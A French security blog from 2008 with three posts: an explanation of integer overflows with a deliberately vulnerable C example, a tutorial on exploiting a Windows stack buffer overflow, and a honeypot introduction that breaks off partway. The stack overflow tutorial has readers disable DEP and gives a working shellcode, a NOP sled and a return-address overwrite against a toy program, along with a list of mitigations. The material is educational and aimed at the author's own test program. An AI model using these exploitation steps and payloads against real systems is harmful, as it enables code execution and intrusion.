mercredi 10 décembre 2008

Integer Overflow


Intro
Dans cet article je vais vous présenter les integer overflow. C’est une faille logicielle au même titre que les stack / heap overflow &Cie. Cet article requiert certaines connaissances : langage C, binaire, les concepts de base la gestion de la mémoire de votre OS (il n’y a pas besoin d’être un expert dans ces domaines pour comprendre l’article). Je rappellerais certaines connaissances au début de cet article (que vous connaissez peut-être déjà, au pire un rappel ne fais pas de mal ;-), puis je présenterai la faille en elle-même, et enfin montrerai un cas pratique.

Les différents types de variables :
En programmation il existe différents type de variables. Ces variables ont des capacités différentes et donc une plage de valeurs différente. Certaines sont codé sur 1 octet d’autres sur 2, ou encore 8 …
Elles peuvent stocker différents types de valeur, (nombres à virgule, entiers, signés, non signés). Les variables de type signed contiendront des nombres positifs et des nombres négatifs, tandis qu’une variable unsigned contiendra uniquement des nombres positifs.
Voici les différents types de variables en C :















Type de variableTaillePlage de valeurs
char1 octet-128 à 127
unsigned char1 octet0 à 255
short2 octets-32 768 à 32 767
unsigned short2 octets0 à 65 535
int2 octets (proc 16 bits)

4 octets (proc 32 bits)
-32 768 à 32 767
-2 147 483 648 à 2 147 483 647
unsigned int2 octets (proc 16 bits)

4 octets (proc 32 bits)
0 à 65 535
0 à 4 294 967 295
long int4 octets-2 147 483 648 à 2 147 483 647
unsigned long int4 octets0 à 4 294 967 295
float4 octets3.4*10-38 à 3.4*10 38
double8 octets1.7*10-308 à 1.7*10 308
long double10 octets3.4*10-4932 à 3.4*10 4932



Représentation des variables :
Selon si la variable est signed ou unsigned elle sera stockée de différentes manières en mémoire. Prenons le cas d’un char :

Si il est unsigned (donc un nombre forcément positif) sa plage de valeur s’étend de 0 à 255. Il sera représenté en mémoire de la manière la plus simple, à chaque valeur décimale correspond sont équivalent binaire.

Si il est signed (donc un nombre pouvant être négatif et positif) sa plage de valeurs s’étend de -128 à 127. La notation utilisée pour pouvoir représenter à la fois des nombres positifs et négatifs est la notation du complément à 2. Pour cela il faut passer par le binaire : un short est codé sur 1 octets, soit 8 bits. La méthode du complément à deux est simple, et se réalise par étape (le bit de poids fort n’est plus utilisé pour coder la valeur du nombre, mais le signe comme le montre la 3ème étape) :

1ère étape : on prend le nombre positif et on inverse tout les bits, par exemple 9 est égale en binaire à 0000 1001(2) , -9 donnerait alors 1111 0110(2)
2ème étape : à ce nombre on ajoute 1, si on suit l’exemple du -9 cela donnerait alors 1111 0111(2)
3ème étape : enfin on met le bit de poids fort à 1 pour montrer la négativité du nombre, dans notre cas -9 donnerait 1111 0111(2)

Voila vous savez (ou vous souvenez) comment sont stockés les nombres en mémoire.

Présentation de la faille :
Un integer overflow peut se trouver dans un programme de différentes manières, en regardant le code source, par fuzzing, par reverse engineering, …

Un integer overflow se présente sous différentes formes. Il n’est pas généralement directement visible dans le code source du programme.
Le principe de l’integer overflow est comme sa traduction l’indique le dépassement de la capacité d’un entier.

Par exemple prenons un unsigned char et affectons lui la valeur 253 et ajoutons lui 10 (cela revient exactement au même que de lui affecter directement 263 …)
unsigned char a = 253;
//a vaut 253 soit 1111 1101 en binaire
a += 10;

253 + 10 = 263 soit 1 0000 0111 en binaire, mais a ne peut contenir un tel nombre car un char n’est codé que sur 8 bits, donc le programme tronquera en ne gardant que les 8 premiers bits, ce qui donnera 0000 0111 soit 7, a vaudra donc 7. On a donc dépassé la capacité de a, et par conséquent a se retrouve avec une valeur faussée.

Maintenant imaginons à peu près le même exemple avec un signed char, et affectons lui la valeur 122, et ajoutons 15.

char a = 122 ;
a vaut 0111 1010 en binaire
a += 15 ;

a vaut maintenant 1000 1001, mais nous travaillons sur un nombre signé, donc nous utilisons le complément à 2. En l’appliquant on se rend compte que a vaut -119.

Des integer overflow peuvent aussi se produire lorsque l’on essaye d’affecter deux types différents de variables entres-eux. Par exemple si l’on essaye d’affecter un short (2 octets) d’une valeur de 456 dans un unsigned char (1 octet), alors il se produira un integer overflow. Effectivement 456 s’écrivant en binaire : 1 1100 1000, lorsqu’il sera affecté au char alors il sera tronqué comme dans le premier exemple et l’on ne gardera que les 8 premiers bits, ce qui donnera 1100 1000 soit 200 en décimal.

Ces trois exemples sont des cas d’integer overflow.

Exemple de faille :
Voici un exemple de code incluant une faille de type integer overflow, illustrant le troisième cas vu ci-dessus :

#include
#define BUFF_SIZE 160

int main(int argc, char *argv[])
{
char buffer[BUFF_SIZE] = "debut chaine …";
/*
...
...
*/

if (argc <= 1) { printf("Aucun argument passé en paramètre.\n"); return -1; } char length_concat = strlen(buffer) + strlen(argv[1]); //integer overflow possible if (length_concat > BUFF_SIZE) //le test sera facilement être faussé
{
printf("La chaine passé en paramètre est trop longue.\n");
return -1;
}

strncpy(buffer, argv[1], strlen(argv[1]));
/*


*/
printf("Fin.\n");
return 0;
}

Explications :
Notre chaine « buffer » est initialisé à une taille de 160, et on lui affecte la chaîne « debut chaine … ». La ligne intéressante et celle où est indiqué « integer overflow possible » en commentaire. En effet on voit que l’on récupère la taille de notre chaîne actuelle, ainsi que la taille de la chaîne passée en paramètre au programme, et l’on somme ces deux tailles. Le problème est que l’on va stocker cette somme dans un char. Si l’utilisateur a passé en paramètre une chaîne d’une taille supérieure à 255 caractères alors un integer overflow se produira obligatoirement, et donc faussera le test servant à savoir si la taille des deux chaînes peut loger dans « buffer ».

Exemple :
On passe en paramètre une chaine de 267 caractères, et la chaîne actuelle contenue dans buffer fait 9 caractères, alors la somme de la taille de ces chaînes fera 276 caractères, donc length_concat est censée contenir la valeur 276, soit 1 0001 0100 en binaire, ce qui donne 0001 0100 stockée dans un char soit 20 en décimal. A cause de la troncature le test sera donc faussé et 20 sera inférieur à 160 alors que dans la réalité la chaîne fait 276 caractères. La copie de la seconde chaîne de caractère à la suite de la première aura donc lieu, et débordera du buffer ce qui produira un buffer overflow. Et il sera alors possible de détourner l’exécution du programme.

Conclusion :
Les integer overflow sont de réelles failles, comme en témoigne cette liste sur le site de secunia.
Ces failles sont difficilement détectables car il n’est pas facile de contrôler la cohérence d’un résultat. Mais même s’il existe un integer overflow dans un programme, cela ne veut pas dire pour autant qu’il est exploitable.

vendredi 1 août 2008

Exploitation de Stack Overflow

Pré-requis :

Afin d’adresser cet article à un maximum de personne, j’ai essayé de faire en sorte qu’il y ai le minimum de pré-requis possible à la compréhension de celui-ci. Néanmoins d’éventuelle connaissance en C, assembleur et gestion de la mémoire ne sont pas négligeable.


Introduction :

Il existe plusieurs types de buffer overflow. Je vais vous présenter dans l’article suivant les stack overflow. J’ai choisi de vous montrer les stack overflow sous Windows. Vous aurez besoin pour cet article des logiciels suivants :

* Code::Blocks, : IDE avec lequel nous compilerons notre programme C.

* OllyDbg : un excellent débuggeur sous Windows qui nous permettra de voir ce qui se passe au niveau de la mémoire.

* Ruby (facultatif) : cela nous permettra de construire des chaînes de caractère répétitive très rapidement (si vous connaissez un autre langage de script tel que perl cela ira parfaitement).


Il va tout d’abord nous falloir désactiver une protection (DEP Data Execution Prevention) mise en place par Windows (depuis le SP2) contre les stack/heap overflow. Pour cela allez dans le « Panneau de configuration » puis « System », allez dans l’onglet « Advanced », dans la section « Performance » cliquez sur « Setting », enfin allez dans l’onglet « Data execution prevention » et cliquez sur « Turn on DEP for all programs and services except those I select: », vous mettrez ici le programme avec lequel nous allons apprendre les stack overflow.

Ne vous inquiétez pas il existe des technique pour outrepassez cette protection, mais ce n’est pas le but de cet article, j'en parlerai surement dans un prochain article ;-).


Gestion de la mémoire :

Afin de comprendre comment les stack overflow fonctionnent, il faut au préalable comprendre comment la mémoire est gérée.

Lors de l’exécution d’un programme plusieurs sections mémoires sont allouées. Chacune ayant des utilités différentes. Les différentes sections allouées sont (ce schéma n’est pas une représentation complète de la mémoire, seule sont ici les informations nous intéressant):

* Le segment de code (text)

- Il contient du code compilé
- Les constantes du programme
- Il est généralement en lecture seule
- Sa taille est fixe

* Le segment de données (datas)

- Il contient des variables globales et statique initialisées, et non initialisées

* Le tas (heap)

- Il croît vers les adresses mémoires hautes
- Sa taille est variable
- Il contient des données allouées dynamiquement (malloc()*free())

* La pile (stack)

- Il croît vers les adresses mémoires basses
- Structure de type FIFO
- Deux principales instructions assembleur POP PUSH la gère
- Elle contient les paramètres et variables locales de la fonction appelée
- Elle contient EBP, EIP.

* Arguments de la fonction

- Argc
- Argv[]

Nous allons nous intéresser dans notre cas (les stack overflow) à la pile, et allons voir son fonctionnement plus en détail.

Prologue et épilogue :

Une pile est « crée » à chaque appel d’une fonction lors de l’exécution d’un programme, et cette pile (comme vu ci-dessus) stockera les paramètres et variables locale de la fonction.
Rappel sur les registres : un registre est une case mémoire directement manipulable par le processeur à laquelle il a directement accès. Il existe différents registres ayant chacun une utilité différente. Les registres auxquels nous allons nous intéresser pour le reste de cet article sont :
- EIP : adresse de la prochaine instruction à exécuter.
- EBP : pointe sur la base de la pile.
- ESP : pointe sur le sommet de la pile.

L’appel d’une fonction se fait par le biais de l’instruction CALL, qui permet d’empiler EIP puis de sauter au code de la fonction et de l’exécuter. (Schéma 1)
La « création » de la pile se fera à l’aide du prologue. Le prologue se résume à trois instructions assembleur qui sont:
PUSH EBP ; prologue
MOV EBP,ESP
SUB ESP, « une valeur »

Par ces trois instructions nous allons empiler EBP (PUSH EBP) (schéma 2), copier la valeur de ESP dans EBP (MOV EBP, ESP) (schéma 3), puis soustraire à ESP l’espace mémoire occupé par les données de la fonction (SUB ESP, « une valeur ») (schéma 4). Le prologue nous permettra par la suite de remettre les registres à leurs valeurs précédent l’appel de la fonction (grâce à l’épilogue).

Voici comment sera l’état de la pile Suite au call et au prologue :

(Le registre EBP pointant sur la sauvegarde d’EBP, et ESP pointant sur le haut de la pile soit sur les dernières données empilées.)






Une fonction se termine par un épilogue voici les instructions correspondant à l’épilogue :
LEAVE
RET

l’instruction LEAVE est l’équivalente de
MOV ESP, EBP
POP EBP

l’instruction RET « équivaut » à
POP EIP
JMP EIP

Ces instructions permettent de restituer les registres à leurs valeurs d’avant l’appel de la fonction, et de sauter à l’instruction suivante de la fonction appelante.


Le programme test :

(Les tests suivant sont réalisés avec l’IDE Code::Blocks)

Voici le programme avec lequel nous allons comprendre les stack overflow (ce programme ne sert à rien, mais c’est pour l’exemple ;-)).

void function(char *argument1)
{
char c[100];
printf("Debut function.\nAdresse de c : %p.\n", c);
strcpy(c,argument1);
printf("Fin function.\n");
}

int main()
{
printf("****Debut****\n\n");
char chaineTropLongue[] = "aaa";

function(chaineTropLongue);
printf("\n**** Fin ****\n");

return 0;
}


Explications du programme :
Notre main va appeler la fonction function() en lui passant comme argument chaineTropLongue.
Notre fonction function() va déclarer un tableau de char d’une taille de 100. Suite à cette déclaration elle va copier l’intégralité de l’argument passé en paramètre (chaineTropLongue) dans notre tableau. Cette copie va s’effectuer « grâce » à la fonction
char * strcpy ( char * destination, const char * source );
cette fonction va copier caractère par caractère la source vers la destination jusqu'à ce qu’elle rencontre un ‘\0’.

Lançons maintenant notre programme :

Voici la sortie :

****Debut****

Debut function.
Adresse de c : 0022FED0.
Fin function.

**** Fin ****

Si vous avez installer ruby alors ouvrez une invite de commandes MS-DOS et tapez :

ruby -e 'print "a"*200'

Copiez les 200 « a » affichés et collez-les dans votre programme afin de les affectés à la variable chaineTropLongue (à la place des "aaa" ). Si vous n’avez pas ruby d’installé alors copier-coller des « a » jusqu'à arriver à environ au moins 140 « a ».

Recompilez, lancez.
Voici la sortie :

****Debut****

Debut function.
Adresse de c : 0022FED0.
Fin function.

Et la le programme plante lamentablement …


On voit que le programme n’a pas affiché « ****Fin**** », mais a affiché « Fin function », donc il a planté entre ces deux printf, soit entre la fin de la fonction et le retour au main (débogage à coup de printf :D)). Le programme à donc très certainement dû planter lors de lors de l’épilogue.


Analyse de la mémoire :


Tips : Vous pouvez ajouter OllyDgb dans le menu du clic droit de votre souris en allant dans Options --> Add to explorer. Ainsi lorsque vous voudrez analyser un .exe vous pourrez directement faire un clic droit et cliquer sur « Open with OllyDbg ».

Examinons ce qui s’est passé dans la mémoire à l’aide d’OllyDbg :
Ouvrez « Stack overflow.exe » dans OllyDbg.

Vous devriez arriver sur une interface à peu près similaire à cela :
- En haut à gauche nous avons le code ASM de notre programme
- En haut à droite nous avons les différents registres et leurs valeurs
- En bas à droite nous avons la pile
- En bas à gauche nous avons la mémoire utilisée par le programme

On peut d’ors et déjà remarquer que OllyDbg a en partie analyser le code ASM, et nous a simplifié la compréhension de celui-ci en mettant en commentaire dans la quatrième colonne le nom des différentes fonctions appelées, les arguments de ces fonction, ainsi que dans la seconde colonne en nous représentant la fonction function() et le main de notre programme par des accolades, etc. …

Vous devriez reconnaître les prologues et épilogues de main() et function() dans le code ASM.

Nous allons poser différents breakpoints sur le code ASM de notre fonction function(), pour poser un breakpoint mettez vous sur la ligne concernée et appuyer sur F2.
Voici un aperçu d’OllyDbg une fois les breakpoints posés :



Nous avons donc posé des breakpoints sur la second ligne de l’épilogue de la fonction, sur le strcpy(c,argument1), ainsi que sur l’épilogue de la fonction.

Une fois cela fait nous allons pouvoir commencer à analyser pourquoi notre programme a planté (durant le reste de l’article il est possible que vous n’ayez pas les mêmes adresses mémoires que moi, cela n’enlève rien à la compréhension). Placez vous dans OllyDbg et appuyez sur F9 :

- Premier breakpoint : nous constatons dans la mémoire qu’EBP et EIP ont été empilés, en effet si vous regardez à l’adresse 0022FE6C la valeur correspondante est 00401399, en regardant dans la section ASM de OllyDbg à l’intérieur du main, on constate que juste avant l’adresse 00401399 il y avait un CALL Stack.004012F0 ce qui correspond à l’appel à notre fonction function(). Lors de ce CALL nous avons empilé EIP 00401399 soit l’adresse étant juste après le CALL Stack.004012F0, ce qui nous permettra lors de l’épilogue de la fonction de pouvoir savoir où reprendre l’exécution du programme en dépilant EIP. Ainsi une fois l’exécution de la fonction terminée nous dépilerons EIP et jumperons sur cette adresse, ce qui nous permettra de reprendre le flux d’exécution du programme juste après le précédent appel de la fonction. (la compréhension de ce passage est essentielle pour la suite de l’article n’hésitez pas à la relire plusieurs fois en vous aidant des précédents schémas).

Vous pouvez pour mieux vous repérer pour la suite en double cliquant sur l’adresse correspondant à la sauvegarde d’EIP sur la pile, afin d’obtenir une flèche ==> en face de la sauvegarde comme ceci :

- Second breakpoint : nous avons mis un second breakpoint sur la fonction strcpy(), juste avant la copie des 200 « a » dans le tableau c d’une taille de 100 char, autrement dit à ce moment là il va se passer quelque chose ;-). Pour avancer d’une instruction appuyer sur F8, afin que la fonction strcpy() soit exécutée. Et à ce moment là regardez donc l’état de la pile et plus particulièrement notre ancienne sauvegarde d’EIP située à 0022FE6C pointée par la flèche …, on voit que celle-ci à été réécrite et à dorénavant la valeur de 61616161 (EBP aussi a été réécrite en 61616161) 61 à la valeur hexadécimale du caractère « a ». Maintenant vous devez commencer à vous demander que va-t-il se passer lors de l’épilogue lorsque l’on va dépiler EBP ainsi que EIP … la suite dans quelques instant !

- Troisième breakpoint : ce breakpoint là est placé sur le RETN de l’épilogue, on va donc dépiler la sauvegarde d’EIP et jumper dessus, et donc exécuter les données présente à cette adresse. Appuyez sur F9 afin d’arriver sur ce breakpoint. On peut voir que juste en dessous de la zone du code ASM, un message nous dit « Return to 61616161 », ce qui nous indique que nous allons sauter à l’adresse 61616161, nous allons confirmer cela en appuyant une ou deux fois de plus sur F9, et la OllyDbg nous affiche une belle Popup nous disant

Explications :
Lors du premier breakpoint nous avons vu lors du prologue à quel endroit EIP et EBP étaient empilées. Lors du second breakpoint nous avons vu que strcpy() avait écrit les 200 « a » dans une variable contenant 100 char. On a vu lors de cette étape que les sauvegardes d’EIP et EBP avait été réécrites avec les valeurs 61616161. Lors du troisième breakpoint nous avons vu lors de l’épilogue que nous essayions de jumper sur l’adresse mémoire 61616161, et OllyDbg nous renvoyait gentiment balader avec une belle pop-up.


Tout ces évènements sont logiques et mènent au plantage du programme. Nous avons vu lors des schémas sur la gestion de la mémoire, qu’une fois rentré dans function() la pile était dans l’état du premier schéma ci-contre. La fonction strcpy() comme nous l’avons vu précédemment copie caractère par caractère la chaîne source vers la chaîne destination jusqu'à ce qu’elle rencontre un ‘\0’, or dans notre chaîne contenant 200 « a » nous n’avons aucun ’\0’ donc elle va copier toute cette chaîne dans notre tableau « c » de 100 char. Ce qui va provoquer une fois les 100 premiers « a » écrits, l’écriture de 100 caractères « a » en dehors du tableau et donc écraser la mémoire étant située juste après notre tableau « c ». En l’écrasant strcpy() va donc écraser notre sauvegarde d’EIP et d’EBP, ce qui justifie que la fonction essayait de jumper sur l’adresse 61616161 (61 correspondant au caractère « a » en hexadécimal). Le second schéma ci-contre illustre l’écrasement d’EBP et EIP par strcpy().


Injecter le shellcode (théorie)

Maintenant que nous savons comment on peut faire planter la pile, nous allons essayer d’en détourner l’utilisation en utilisant des shellcodes.

Qu’est ce qu’un shellcode ?
Un shellcode est une chaîne de caractère binaire, pouvant, si elle est exécutée retourner un shell, ajouter un compte administrateur, désactiver le firewall de windows, …

A la place de passer en paramètre de notre fonction une chaîne contenant 200 « a », nous allons donc passer en paramètre un shellcode. Mais il faudra faire en sorte que nous exécutions notre shellcode, pour cela nous allons écraser EIP comme nous l’avions fait avec les « a », mais cette fois ci nous allons faire « pointer » EIP sur notre shellcode. Ainsi lorsque la fonction function() va essayer de rendre la main au main() de notre programme grâce à l’épilogue elle va dépiler notre valeur d’EIP pointant sur notre shellcode et l’exécutera, ainsi nous aurons détourné le flux d’exécution du programme et exécuté du code arbitraire.

Il existe en assembleur une instruction « nop » qui peut se traduire par « ne rien faire », elle va nous permettre de ne pas modifier l’état de la pile ainsi que les valeurs des registres tout en permettant au programme de continuer son exécution. Cette instruction va nous servir à combler la place inoccupée de notre chaîne de caractère contenant le shellcode. Par exemple, dans notre cas nous avons un tableau de 100 octets à remplir avec notre shellcode, si notre shellcode à une taille de 56 octets alors il restera 44 octets à combler dans la chaîne de caractères, l’instruction nop se prête parfaitement à cela. Notre chaîne de caractère finale ressemblera donc à cela « nop…nop+shellcode+EIP ».

Tout ce bloc de nop ne vas pas seulement nous servir à combler le vide de la chaîne de caractère, un nop n’étant rien de plus qu’une instruction disant au processeur de ne rien faire, nous allons nous en servir en ne faisant plus pointer la sauvegarde d’EIP sur le shellcode, mais dans le bloc de nop. Voici deux schémas expliquant la différence :
- le premier montre la pile avant l’appel de strcpy() avec notre chaine de caractère « nop…nop+shellcode+EIP ».
- le second montre la pile après l’appel de strcpy() avec notre chaîne de caractère « nop…nop+shellcode+EIP », on voit que EIP va pointer dans notre block de nops, et lorsque le programme arrivera à l’épilogue et dépilera EIP il jumpera directement dans les nops, en exécutera quelque uns, et exécutera notre shellcode.


Ainsi nous auront une « marge d’erreur » concernant l’adresse avec laquelle nous allons écraser EIP, nous pourrons nous tromper de quelques nops.

Injecter le shellcode (pratique)

Nous allons mettre en œuvre ce que nous venons de voir, ne sachant pas encore faire de shellcode j’ai donc demandé un petit shellcode à notre ami Google, qui m’en a donné plusieurs sympathiques. Seulement différentes contraintes sont à prendre en compte. Nous utilisons la fonction strcpy() pour comprendre les stack overflow, donc il ne faudra avoir aucun ‘\0’ dans notre shellcode. Si nous venions à avoir un ‘\0’ dans notre shellcode alors la copie s’arrêterai directement après celui-ci, ce qui aurait pour effet de ne pas copier le reste du shellcode et de ne pas copier EIP. Nous avons aussi une place limitée pour le shellcode, celui doit faire au maximum environ 100 octets. Nous réécrivons en plus la valeur de la sauvegarde d’EBP donc il ne faudra pas que le shellcode utilise le registre EBP sous peine de ne pas fonctionner normalement (à moins qu’on le réécrive avec sa valeur actuelle). Et si possible que le résultat du shellcode soit sympa ;-).
Notre ami Google m’a donc trouvé un petit shellcode sans ‘\0’, d’une taille de 21 octets, et n’utilisant pas le registre EBP, qui nous affichera la calculatrice Windows.

Voici la bête ^^ :
//lance la calculette Windows
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B"
"\x50\x53\xB9"
"\xC7\x93\xC2\x77"
"\xFF\xD1\xEB\xF7"

Ce shellcode marche sous Windows XP SP2, pour le faire fonctionner sous d’autre version de Windows, il vous faudra obtenir l’adresse de msvcrt.system(), vous pourrez la trouver grâce à un petit programme en C dénommé « arwin » que vous pourrez trouver à cette adresse :
http://www.vividmachines.com/shellcode/shellcode.html. Il vous faudra alors remplacer la troisième ligne en mettant l’adresse trouvée, par exemple sous XP SP2 l’adresse est 77C293C7, comme mon système fonctionne en little endian il faudra écrire "\xC7\x93\xC2\x77" (la compréhension de little endian et big endian n’est pas essentielle pour comprendre cet article, et ce n’est pas le but, si vous le savez tant mieux sinon, ce n’est pas grave ;-).

Nous avons vu précédemment que nous allons construire notre chaîne de caractères magique de la manière suivante : nops…nops+shellcode+EIP, encore faut-il savoir combien de nop allons nous mettre. Nous avons vu précédemment que la sauvegarde d’EIP était contenu à l’adresse 0022FE6C, et dans notre programme le premier printf de function()
printf("Debut function.\nAdresse de c : %p.\n", c); nous affiche l’adresse mémoire du début de notre tableau soit 0022FDF0, une soustraction de ces deux valeurs hexadécimales nous donne 7C soit 124 en décimal. Ce qui veut dire que nous avons 124 octets pour notre chaîne de caractères, sans compter EIP, soit 128 caractères en comptant EIP. Une brève soustraction de la place totale moins la place du shellcode et des 4 octets d’EIP nous donne 128-21-4= 103. Nous devrons donc remplir notre chaîne avec 103 nops.

Il ne nous reste plus qu’a déterminer l’adresse d’EIP, ici nous aurons 2 choix possibles,

- Soit nous mettrons une adresse pointant directement dans les nops copiés à l’intérieur de notre tableau de caractère « c ».

- Soit nous pourrons (et je vous renvoie au schéma sur les différentes sections mémoire d’un programme)
directement faire pointer la sauvegarde d’EIP sur les arguments de la fonction (notre chaîne de caractère magique passée en argument de la fonction). Effectivement voici deux screenshots de la pile. Le premier représente la pile juste avant l’appel de strcpy(), on voit encadrée en bleu notre chaîne de caractère passée en argument. Le second représente la pile juste après l’appel de strcpy(), le nouveau cadre bleu représente les données copiées dans notre tableau c[].

Si vous choisissez de faire pointer la sauvegarde d’EIP sur l’argument de la fonction vous pourrez par exemple prendre comme valeur 0022FF20. Si vous choisissez de prendre la valeur dans le tableau c[] alors vous pourrez par exemple prendre comme valeur 0022FE60.

On peut maintenant construire notre chaîne de caractères magique. Qui sera composée de 103 nops+le shellcode+EIP, faite attention à bien réécrire EIP « à l’envers » (little endian). Ce qui donnera par exemple pour les valeurs précédemment sélectionnées \x20\xFF\x22\x00 ou alors \x60\xFE\x22\00. Et on se rend compte que ce nous voulions éviter arrive … on à des null bytes ‘\0’ dans notre chaîne de caractères. Mais cela ne va pas empêcher notre shellcode de fonctionner les null bytes se trouvent à la fin de la chaîne de caractères, or strcpy ajoute automatiquement un null byte lors de la copie de la chaîne de caractères. Donc on peut omettre les \x00, cequi nous donnera comme valeur \x20\xFF\x22 ou \x60\xFE\x22.

Notre chaîne de caractère finale sera donc :
103 nops+ shellcode+ \x20\xFF\x22 ou \x60\xFE\x22




Si vous avez ruby d’installé tapez dans une invite de commande :
ruby -e 'print "\\x90"*103'
Copiez-collez les 103 « \x90 » dans un fichier texte.
Puis ajoutez le shellcode à la suite et enfin l’adresse choisie pour écraser EIP, vous devriez arriver à quelque chose comme cela :

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B"
"\x50\x53\xB9"
"\xC7\x93\xC2\x77"
"\xFF\xD1\xEB\xF7"
"\x20\xFF\x22"

Enfin affectez cette chaîne de caractère à chaineTropLongue :

void function(char *argument1)
{
char c[100];
printf("Debut function.\nAdresse de c : %p.\n", c);
strcpy(c,argument1);
printf("Fin function.\n");
}

int main()
{
printf("****Debut****\n\n");
char chaineTropLongue[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B"
"\x50\x53\xB9"
"\xC7\x93\xC2\x77"
"\xFF\xD1\xEB\xF7"
"\x20\xFF\x22";


function(chaineTropLongue);
printf("\n**** Fin ****\n");

return 0;
}

Compilez, exécutez, enjoy :-)))


Conclusion :

Plusieurs protection on été mises en place afin de contrer les stack overflow tel que DEP que nous avons dû désactiver au début de cet article. DEP rend la pile non exécutable, ce qui a pour effet de ne pas pouvoir exécuter notre shellcode à partir de la pile. DEP est présent au niveau processeur ainsi qu’au niveau du système d’exploitation.
Les « Stack canaries » sont une autre protection mises en place, dont le principe est de générer un nombre aléatoire et de le placer juste avant la sauvegarde d’EIP sur la pile, ainsi lorsque nous écraseront EIP nous écraserons aussi ce nombre aléatoire. La valeur de ce nombre sera vérifiée juste avant d’utiliser la sauvegarde d’EIP.
Vista, Linux (depuis le kernel 2.6.20), et Mac OSX Leopard ont une autre sécurité (ASLR Adress Space Layout Randomization) qui a pour but de placer de manière aléatoire les données et les bibliothèques chargées en mémoires, ainsi cela limite les attaques basées sur des adresses placées statiquement dans les shellcodes.
D’autre protection existent tel que /GS dans Visual Studio, Stack-Smashing Protector dans GCC (depuis la version 4.1).

La combinaison de plusieurs protections rend l’exploitation de stack overflow difficile dans certain cas.

Toutes ces protections sont des protections agissant directement au niveau du système d’exploitation ou du processeur, mais des protections existent aussi au niveau réseau tels que les IDS. Les IDS peuvent analyser les paquets transitant sur le réseau et reconnaître par exemple une chaîne consécutive de nops, ou alors des shellcodes connu, et ainsi bloquer le trafic.

L’article touche à sa fin, j’espère vous avoir appris comment fonctionne les stack overflow. N’hésitez pas à parcourir Internet vous trouvez d’autre articles traitant sur le sujet. Si vous avez compris la théorie et la pratique alors ce sera facile sous d’autre système d’exploitation de faire la même chose. Par exemple sous Unix avec gcc et gdb.

samedi 26 juillet 2008

Honeypot / Honeynet kezako?

Introduction :

De nos jours la sécurité est devenu un point incontournable de l’informatique, et les besoins dans ce domaine sont grandissants. En effet les techniques de piratage utilisées par les crackers sont de plus en plus perfectionnées.

Effectivement combien de spam sont envoyés par jour, combien d’ordinateur sont infecté par jour, tout cela rendant le web de plus en plus pollué, et en faisant un univers de plus en plus malsain pour les personnes non averties.

Je vais au cour de cet article vous montrer un aspect de la sécurité : les honeypots, je sais essayer de les démystifiés en vous présentant leur utilité, en vous montrant leurs avantages et inconvénients, ...


Explications et description des honeypots


Définitions :

Un « honeypot » (traduisez par pot de miel) est un système volontairement mis en place afin de leurrer les pirates, de détecter les derniers vers à la mode, de renforcer la sécurité du réseau d’une entreprise,… ou de vous la jouer kikitoutdur devant vos amis :-p. Un honeypot pourra volontairement être vulnérabilisé ou non, selon l’utilité que l’on en fera. Lorsque plusieurs honeypots seront en réseau alors on parlera de « honeynet». Un honeynet pourra par exemple comporter différentes machines fonctionnant sous différents OS, et faisant tourner différents services.

Différents type de honeypots existent ayant chacun des fonctionnalités différentes.

On distingue deux types différents de honeypots :

  • Les honeypots à faible interaction : Les honeypots à faible interaction sont des honeypots qui vont simuler le fonctionnement de certains services/programmes sur une machine. Ils pourront par exemple simuler certains systèmes d’exploitation exécutant des services tels que FTP, HTTP, TELNET, SMTP…, et des failles connues sur ces services Par exemple nous pourront simuler un serveur FTP tournant sous Debian ou alors un serveur IIS, tournant sous Windows Server 2003. Ces services ne seront pas réels sur la machine les émulant, ce qui limitera le risque si un cracker vient à cracker le faux service lancé sur la machine. Les honeypot à faible interaction sont très utile dans certain cas mais ont leurs limites. Par exemple un service émulé pourra ne pas avoir la même interaction et les mêmes réponses qu’un vrai service tournant sur un vrai ordinateur, un pirate pourra aussi prendre conscience qu’il n’est pas sur une vraie machine mais sur un honeypot.
  • Les honeypots à forte interaction : Les honeypots à forte interaction, ne vont pas à la différence des honeypots à faible interaction émulé des services, mais faire tourner de réels services sur de réelles machines. Elles seront en quelque sorte des machines de tests.
Pourquoi mettre un honeypot sur une vraie machine et ne pas seulement se contenter d’utilisé un honeypot à faible interaction ?

Un honeypot à forte interaction sera très utile dans certains cas, par exemple si un cracker vient à pénétrer votre honeypot alors il sera rendra plus difficilement compte qu’il n’est pas sur une machine de production, car les réponses formulé par le honeypot seront conforme à la réalité, tant au niveau des entêtes des paquets que des payload. Et pour que la supercherie soit totale vous aurez fait le maximum pour que le honeypot ressemble à une machine « normale ». Un honeypot à haute interaction sera aussi utile dans la détection de nouveaux vers exploitant des failles 0-day.

A la différence d’un honeypot à faible interaction un honeypot à forte interaction nécessitera plus de surveillance, car il tournera sur une machine réelle, et pourra se faire corrompre entièrement.

Pourquoi a-t-on besoin de honeypots ? Comment les honeypots vont-ils être compromis ?

Les honeypots sont apparu au cour des années 90-2000 lors de l’expansion d’internet afin de faire face aux nouvelles menaces.

On peut scinder l’utilité des honeypots en deux catégories :

